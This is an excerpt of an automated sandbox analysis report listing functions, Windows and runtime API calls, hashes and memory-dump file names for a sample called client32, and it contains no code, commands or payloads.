Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Exception@8Throw_malloc_memsetstd::exception::exceptionwsprintf
String ID:
API String ID: 1338273076-0
Opcode ID: 7a405ee56f1315c6ee1f340a3ff28517fdd231231b98c8aaa449bf634c5199d4
Instruction ID: 40c1b550870c83f0c669b419c7937a1de5292af9ae005a9ffb354a33ebb971cd
Opcode Fuzzy Hash: 7a405ee56f1315c6ee1f340a3ff28517fdd231231b98c8aaa449bf634c5199d4
Instruction Fuzzy Hash: F11181BA900609AFC715CF99C840ADAF7F8FB58614F10863EE91997740E774E904CBE1

Function 1105F7C0 Relevance: 3.0, APIs: 2, Instructions: 47COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 1105F806
_memmove.LIBCMT ref: 1105F811

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _malloc_memmove
String ID:
API String ID: 1183979061-0
Opcode ID: 5b978a5cc2cdba63a64411b19136718d8af37a4e7f400d0beed470777af2abcc
Instruction ID: e8b2e2ab67b960fffb59418ca6d045486158c88f9a02fc8ea8f4f968a4d4dde1
Opcode Fuzzy Hash: 5b978a5cc2cdba63a64411b19136718d8af37a4e7f400d0beed470777af2abcc
Instruction Fuzzy Hash: A3F02879A002566F8701CF2C9844897FBDCEF4A25831480A6E849CB302D671EC15C7F0

Function 110886C0 Relevance: 3.0, APIs: 2, Instructions: 42COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 110886DF
InitializeCriticalSection.KERNEL32(0000E3D0,00000000,?,11070CC3,00000000,00000000,11182F3E,000000FF), ref: 11088750

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CriticalInitializeSection_memset
String ID:
API String ID: 453477542-0
Opcode ID: b70e1f074512ce2ced997d39b2297f4199a589ff9b013c872d54b649f42912e3
Instruction ID: 67e0870afe33de0d146d23e59662f9f8cfec19dbcaf4764f519a7c8a3238bf1f
Opcode Fuzzy Hash: b70e1f074512ce2ced997d39b2297f4199a589ff9b013c872d54b649f42912e3
Instruction Fuzzy Hash: CC1157B1901B148FC3A4CF7A99816C3FAE5BB58354F90892E95EEC2600DB756564CF90

Function 11145010 Relevance: 3.0, APIs: 2, Instructions: 34windowCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 11145031
ExtractIconExA.SHELL32(?,00000000,0008045F,000802D1,00000001), ref: 11145068

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ExtractFileIconModuleName
String ID:
API String ID: 3911389742-0
Opcode ID: 6ebcb2ed19ff45d4e03ce3bb4affc9ea6a4a037fcd6ce03922cabf34851b5b2f
Instruction ID: 51784f3a6cc6e5149e616e04a2eb2c6e0d372b09ba8f06c96ffc5d3ba3765e1d
Opcode Fuzzy Hash: 6ebcb2ed19ff45d4e03ce3bb4affc9ea6a4a037fcd6ce03922cabf34851b5b2f
Instruction Fuzzy Hash: F5F0BB79A4411C5FE718DFA0CC51FF9B36AE784709F444269E956D61C4CE70594CC741

Function 11164C77 Relevance: 3.0, APIs: 2, Instructions: 32COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 1116A1AF: __getptd_noexit.LIBCMT ref: 1116A1AF

__lock_file.LIBCMT ref: 11164CBE

Part of subcall function 1116BE59: __lock.LIBCMT ref: 1116BE7E

__fclose_nolock.LIBCMT ref: 11164CC9

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: __fclose_nolock__getptd_noexit__lock__lock_file
String ID:
API String ID: 2800547568-0
Opcode ID: 271288d31555c81154ec7293090fb485e1e9931888df87aecff959c56407cd41
Instruction ID: afac539be2367be23e5fb54bb350a7e23aa7a519b2fcc5708fa11322496ce6e3
Opcode Fuzzy Hash: 271288d31555c81154ec7293090fb485e1e9931888df87aecff959c56407cd41
Instruction Fuzzy Hash: B4F0F0358017138AD7109B78CC0078EFBE96F0133CF1182088434AA6D4CBFA6521DB46

Function 1117602D Relevance: 3.0, APIs: 2, Instructions: 18COMMONLIBRARYCODE

Download Yara Rule

APIs

__lock.LIBCMT ref: 11176045

Part of subcall function 1117459F: __mtinitlocknum.LIBCMT ref: 111745B5
Part of subcall function 1117459F: __amsg_exit.LIBCMT ref: 111745C1
Part of subcall function 1117459F: EnterCriticalSection.KERNEL32(?,?,?,1116C592,0000000D), ref: 111745C9

__tzset_nolock.LIBCMT ref: 11176056

Part of subcall function 1117594C: __lock.LIBCMT ref: 1117596E
Part of subcall function 1117594C: ____lc_codepage_func.LIBCMT ref: 111759B5
Part of subcall function 1117594C: __getenv_helper_nolock.LIBCMT ref: 111759D7
Part of subcall function 1117594C: _free.LIBCMT ref: 11175A0E
Part of subcall function 1117594C: _strlen.LIBCMT ref: 11175A15
Part of subcall function 1117594C: __malloc_crt.LIBCMT ref: 11175A1C
Part of subcall function 1117594C: _strlen.LIBCMT ref: 11175A32
Part of subcall function 1117594C: _strcpy_s.LIBCMT ref: 11175A40
Part of subcall function 1117594C: __invoke_watson.LIBCMT ref: 11175A55
Part of subcall function 1117594C: _free.LIBCMT ref: 11175A64

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: __lock_free_strlen$CriticalEnterSection____lc_codepage_func__amsg_exit__getenv_helper_nolock__invoke_watson__malloc_crt__mtinitlocknum__tzset_nolock_strcpy_s
String ID:
API String ID: 1828324828-0
Opcode ID: e9fe97314170dd3ace1c63e43c84978c6283960cf81703fd067dc8cc761c8193
Instruction ID: d808ca63efd1e9ffab5fb640758e365785c4d1c524b5d003c7d68937386cb31b
Opcode Fuzzy Hash: e9fe97314170dd3ace1c63e43c84978c6283960cf81703fd067dc8cc761c8193
Instruction Fuzzy Hash: 7AE05B7E8877B3DAE7139FB4469060CF670AB05B3EF6011E5D060556C4CF701555C792

Function 11145A70 Relevance: 2.6, APIs: 2, Instructions: 58sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 11145990: ExpandEnvironmentStringsA.KERNEL32(000000FF,?,00000104,000000FF), ref: 111459B7

Part of subcall function 11164EAD: __fsopen.LIBCMT ref: 11164EBA

GetLastError.KERNEL32(?,00000000,000000FF,?), ref: 11145AA5
Sleep.KERNEL32(000000C8,?,?,?,?,?,?,00000000,000000FF,?), ref: 11145AB5

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: EnvironmentErrorExpandLastSleepStrings__fsopen
String ID:
API String ID: 3768737497-0
Opcode ID: a3a7e4752acc607997ac4dc0a72fcac428bfa81aec4d9fb6ca4c049ea981d30d
Instruction ID: 034c310a398a014eacf4d95463f41bd89d414178975837bd0fbb5aed6b89dd46
Opcode Fuzzy Hash: a3a7e4752acc607997ac4dc0a72fcac428bfa81aec4d9fb6ca4c049ea981d30d
Instruction Fuzzy Hash: E8110476940319ABEB119F90CDC4A6FF3B8EF85A29F300165EC0097A00D775AD51C7A2

Function 11010AE0 Relevance: 1.7, APIs: 1, Instructions: 151COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 11010B94

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: LockitLockit::_std::_
String ID:
API String ID: 3382485803-0
Opcode ID: 900fd30ae7a6edcb6a0dfa434b7c013aaa35b72064ad6defd4f97f4d13ad8da4
Instruction ID: 6fbf298b81733ad5c02794b6394837a2ddc0a350229d48e3ddb53e27456ddbdc
Opcode Fuzzy Hash: 900fd30ae7a6edcb6a0dfa434b7c013aaa35b72064ad6defd4f97f4d13ad8da4
Instruction Fuzzy Hash: F1516B74A00649DFDB04CF98C980AADFBF5BF89318F248298D5469B385C776E942CB90

Function 11143BD0 Relevance: 1.6, APIs: 1, Instructions: 70registryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RegQueryValueExA.KERNEL32(00000000,?,?,00000000,00000000,00000000,1111025B,75BF8400,?,?,11145D2F,00000000,CSDVersion,00000000,00000000,?), ref: 11143BF0

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: 91328a05fa49adc7f96a877065892eb549607f162fa4bf6631575699f60be126
Instruction ID: ee220ac459adc96ef86e18eb3808082b68f6554a37139a9005b103db31ef1b78
Opcode Fuzzy Hash: 91328a05fa49adc7f96a877065892eb549607f162fa4bf6631575699f60be126
Instruction Fuzzy Hash: 2611B97171C2795FEB15CE46D690AAEFB6AEBC5F14F30816BE51947D00C332A482C754

Function 110FB470 Relevance: 1.6, APIs: 1, Instructions: 56COMMON

Download Yara Rule

APIs

GetTokenInformation.KERNELBASE(00000000,00000001(TokenIntegrityLevel),?,00000048,?,?), ref: 110FB49D

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: InformationToken
String ID:
API String ID: 4114910276-0
Opcode ID: 2187bc4dd0207f2c4cff668421eac79af3382fb4f4e0b6f0c948954ee106bd6b
Instruction ID: 0dd0dc8a76de1486b7c0157bd4876b78410922a839ecfb631160e4ccf4e8658d
Opcode Fuzzy Hash: 2187bc4dd0207f2c4cff668421eac79af3382fb4f4e0b6f0c948954ee106bd6b
Instruction Fuzzy Hash: E1118671A0055D9BDB11CFA8DD51BEEB3E8DB48309F0041D9E9499B340EA70AE488B90

Function 11170FC4 Relevance: 1.6, APIs: 1, Instructions: 52memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,1103179F,00000000,?,1116AC94,?,1103179F,00000000,00000000,00000000,?,1116C627,00000001,00000214,?,1111023E), ref: 11171007

Part of subcall function 1116A1AF: __getptd_noexit.LIBCMT ref: 1116A1AF

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AllocateHeap__getptd_noexit
String ID:
API String ID: 328603210-0
Opcode ID: 5134503a2c8da02e36f93c83ba404df5dd22f98f66039dab1883123dd78627a5
Instruction ID: 2763c535338e1a2717ceb9c309c83b7f036f5409daf397f77e32ba57fb3352a5
Opcode Fuzzy Hash: 5134503a2c8da02e36f93c83ba404df5dd22f98f66039dab1883123dd78627a5
Instruction Fuzzy Hash: B301D4353423A79BFB1A8E35CDA4B5BB79ABF827A4F01462DE815CB280D774D800C780

Function 111681A3 Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

__waccess_s.LIBCMT ref: 111681AE

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: __waccess_s
String ID:
API String ID: 4272103461-0
Opcode ID: ef7a6628b8ba34dfa5084db135283d76d392227949a9b5e0c08c397448921cd0
Instruction ID: ab19ac5a5597399f8d1ca71f455f516602a279338b20f7293c175e29f7786032
Opcode Fuzzy Hash: ef7a6628b8ba34dfa5084db135283d76d392227949a9b5e0c08c397448921cd0
Instruction Fuzzy Hash: 00C09BB705410D7F5F155DE5EC00C557F5DD6806747149115FD1C89490DD73E961D540

Function 11164EAD Relevance: 1.5, APIs: 1, Instructions: 10COMMONLIBRARYCODE

Download Yara Rule

APIs

__fsopen.LIBCMT ref: 11164EBA

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: __fsopen
String ID:
API String ID: 3646066109-0
Opcode ID: 458c5a181ffae5f95d358663ef626c75276123e7ccc662156e21cb703a51c411
Instruction ID: eecee5f277637f0c818c851ebfea4a610619873cfad902e7c0818376e8e04ccc
Opcode Fuzzy Hash: 458c5a181ffae5f95d358663ef626c75276123e7ccc662156e21cb703a51c411
Instruction Fuzzy Hash: 0CC09B7644010C77CF111946DC01E4D7F1E97D0664F444010FB1C19560A573E971D585

Function 00951000 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

_NSMClient32@8.PCICL32(?,?,?,009510A2,00000000), ref: 0095100B

Memory Dump Source

Source File: 00000003.00000002.2968364486.0000000000951000.00000020.00000001.01000000.00000006.sdmp, Offset: 00950000, based on PE: true

Associated: 00000003.00000002.2968285369.0000000000950000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2968386737.0000000000952000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_950000_client32.jbxd

Yara matches

Similarity

API ID: Client32@8
String ID:
API String ID: 433899448-0
Opcode ID: 4d0d81f4ec4ebde950740ae3d3ffe2836bfeb21466b6828822f600e6eeb2d30b
Instruction ID: ed15c69ad6172e21a5148b3926d42e55c514b86907d734defd9bb094f21f6e5b
Opcode Fuzzy Hash: 4d0d81f4ec4ebde950740ae3d3ffe2836bfeb21466b6828822f600e6eeb2d30b
Instruction Fuzzy Hash: 92B092B211434D9B8714EEA9E841E7B339CAA98600F000809BD0543282CA61FC609671

Non-executed Functions

Function 111273E0 Relevance: 68.5, APIs: 31, Strings: 8, Instructions: 289fileprocessthreadCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 11127400
_memset.LIBCMT ref: 1112741D
GetVersionExA.KERNEL32(?,?,?,?,?,00000000,00000000), ref: 11127436
